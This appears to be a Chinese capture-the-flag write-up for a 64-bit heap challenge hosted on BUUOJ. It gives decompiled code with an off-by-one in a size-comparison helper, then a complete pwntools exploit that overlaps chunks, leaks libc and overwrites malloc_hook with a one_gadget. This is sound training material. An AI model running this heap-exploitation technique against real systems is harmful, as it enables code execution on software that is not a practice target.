Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位,保护全开
__int64 ADD()
{
__int64 result; // rax
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+8h] [rbp-18h]
void *v4; // [rsp+10h] [rbp-10h]
result = 0LL;
for ( i = 0; i <= 15; ++i )
{
result = *((unsigned int *)&BSSFLAG + 4 * i);
if ( !(_DWORD)result )
{
printf("size: ");
v3 = READ(v2);
if ( v3 > 0 )
{
if ( v3 > 0x1000 )
v3 = 4096;
v4 = calloc(v3, 1uLL);
if ( !v4 )
exit(-1);
*((_DWORD *)&BSSFLAG + 4 * i) = 1;
*((_DWORD *)&BSSSIZE + 4 * i) = v3;
BSSPTR[2 * i] = v4;
printf("the index of ticket is %d \n", (unsigned int)i);
}
return (unsigned int)i;
}
}
return result;
}
add这里,size创建不能大于0x1000,
__int64 EDIT()
{
int v1; // [rsp+Ch] [rbp-14h]
unsigned int idx; // [rsp+Ch] [rbp-14h]
unsigned int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]
printf("index: ");
idx = READ(v1);
v3 = idx;
if ( idx <= 0xF )
{
idx = *((_DWORD *)&BSSFLAG + 4 * (int)idx);
if ( idx == 1 )
{
printf("size: ");
idx = READ(1);
v4 = sub_E26(*((unsigned int *)&BSSSIZE + 4 * (int)v3), idx);
if ( (int)idx > 0 )
{
printf("content: ");
return (unsigned int)sub_D92(BSSPTR[2 * (int)v3], v4);
}
}
}
return idx;
}
edit这里乍一看没啥,实际上有个size的比较函数
__int64 __fastcall sub_E26(int a1, unsigned int a2)
{
__int64 result; // rax
if ( a1 > (int)a2 )
return a2;
if ( a2 - a1 == 0xA )
LODWORD(result) = a1 + 1;
else
LODWORD(result) = a1;
return (unsigned int)result;
}
这里如果从edit里面输入的size,跟你申请的size相差0xa
就能有个off by one
__int64 DELE()
{
int idx; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]
printf("index: ");
idx = READ(v3);
v4 = idx;
v2 = idx;
if ( (unsigned __int64)idx <= 0xF )
{
v4 = *((int *)&BSSFLAG + 4 * idx);
if ( v4 == 1 )
{
*((_DWORD *)&BSSFLAG + 4 * idx) = 0;
*((_DWORD *)&BSSSIZE + 4 * idx) = 0;
free((void *)BSSPTR[2 * idx]);
BSSPTR[2 * v2] = 0LL;
}
}
return v4;
}
dele这里没有uaf
__int64 SHOW()
{
int v1; // [rsp+0h] [rbp-10h]
unsigned int idx; // [rsp+0h] [rbp-10h]
unsigned int v3; // [rsp+4h] [rbp-Ch]
printf("index: ");
idx = READ(v1);
v3 = idx;
if ( idx <= 0xF )
{
idx = *((_DWORD *)&BSSFLAG + 4 * (int)idx);
if ( idx == 1 )
{
printf("content: ");
return (unsigned int)sub_108E(BSSPTR[2 * (int)v3], *((unsigned int *)&BSSSIZE + 4 * (int)v3));
}
}
return idx;
}
show这里判断申请那个值是否为1,才给你show
利用off by one
堆复用,泄露libc,构造fake chunk
,打malloc_hook
from pwn import*
from Yapack import *
libc=ELF('libc-2.23.so')
r,elf=rec("node4.buuoj.cn",29821,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
#debug('b *0x400649')
#debug('b *$rebase(0x1466)')
add(0x18)#0
add(0x10)#1
add(0x90)#2
add(0x10)#3
edit(0,0x22,b'a'*0x10+p64(0x20)+p8(0xa1))
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))
dele(1)
add(0x90)#1
edit(1,0x20,p64(0)*3+p64(0xa1))
dele(2)
show(1)
leak=get_addr_u64()-mallochook()-88-0x10
li(leak)
sys=system(leak)
malloc=mallochook(leak)
realloc=reallochook(leak)
add(0x80)
edit(1,0x90,p64(0)*3+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
dele(2)
edit(1,0x30,p64(0)*3+p64(0x71)+p64(malloc-0x23)*2)
add(0x68)
add(0x68)#4
one=[0x45216,0x4526a,0xf02a4,0xf1147]
edit(4,11+8+8,b'a'*(3+8)+p64(leak+one[3])+p64(realloc+4))
add(0x10)
ia()